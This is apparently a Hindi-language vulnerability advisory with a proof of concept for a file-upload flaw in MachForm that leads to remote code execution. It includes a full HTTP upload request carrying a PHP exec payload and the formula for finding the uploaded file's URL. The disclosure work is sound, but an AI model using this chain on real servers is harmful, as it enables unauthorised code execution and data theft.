
MachForm संस्करण 21 तक में प्रमाणित असीमित फ़ाइल अपलोड के लिए प्रमाण-की-अवधारणा शोषण जो दूरस्थ कोड निष्पादन की ओर ले जाता है, विस्तृत अनुरोध उदाहरणों और शोषण चरणों के साथ।
MachForm संस्करण 21 तक एक प्रमाणित अप्रतिबंधित फ़ाइल अपलोड से प्रभावित है जो रिमोट कोड निष्पादन की ओर ले जाता है।
एप्लिकेशन फ़ाइल अपलोड कार्यक्षमता के साथ एक फॉर्म बनाने की संभावना प्रदान करता है। जबकि डिफ़ॉल्ट रूप से स्वीकार्य फ़ाइलें एक सामान्य सुरक्षित उपसमूह तक सीमित होती हैं, फॉर्म निर्माता अतिरिक्त प्रारूप भी निर्दिष्ट कर सकता है जिनकी अनुमति है।
यदि फॉर्म निर्माण अधिकार वाला उपयोगकर्ता फ़ाइल अपलोड कार्यक्षमता वाला एक फॉर्म बनाता है जहाँ "PHP" प्रारूप की अनुमति है, तो कोई भी अप्रमाणित उपयोगकर्ता रिमोट कोड निष्पादन प्राप्त करने के लिए इस फॉर्म का शोषण कर सकता है।
इस कमजोरी का शोषण करने के लिए, फ़ाइल अपलोड कार्यक्षमता सक्षम वाला एक फॉर्म होना आवश्यक है जिसमें "PHP" एक्सटेंशन को श्वेतसूचीबद्ध किया गया हो।

एक बार यह पूर्वापेक्षा पूरी हो जाने पर, कोई भी अप्रमाणित उपयोगकर्ता फ़ाइल अपलोड कमजोरी का शोषण करने के लिए फॉर्म पर जा सकता है।
फॉर्म पर अपलोड की गई फ़ाइलें, जिन्हें अभी तक फॉर्म के भीतर सबमिट नहीं किया गया है, वेब सर्वर पर एक पूर्व निर्धारित निर्देशिका में .tmp प्रारूप में अपलोड की जाती हैं।

अनुरोध:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
अपलोड की गई फ़ाइल का पूरा पथ अपलोड अनुरोध का उपयोग करके बनाया जा सकता है, जिसमें सभी आवश्यक फ़ील्ड शामिल हैं:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
इस परिदृश्य में, अपलोड की गई फ़ाइल का URL निम्नलिखित होगा:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

एक बार रिमोट कोड निष्पादन प्राप्त करने के बाद, लक्ष्य सर्वर पर सीधे काम करना संभव है जो एप्लिकेशन के दायरे से परे पहुँच प्राप्त करने की अनुमति देगा और संवेदनशील जानकारी पढ़ने या मुख्य घटकों को बदलने/हटाने की अनुमति देगा।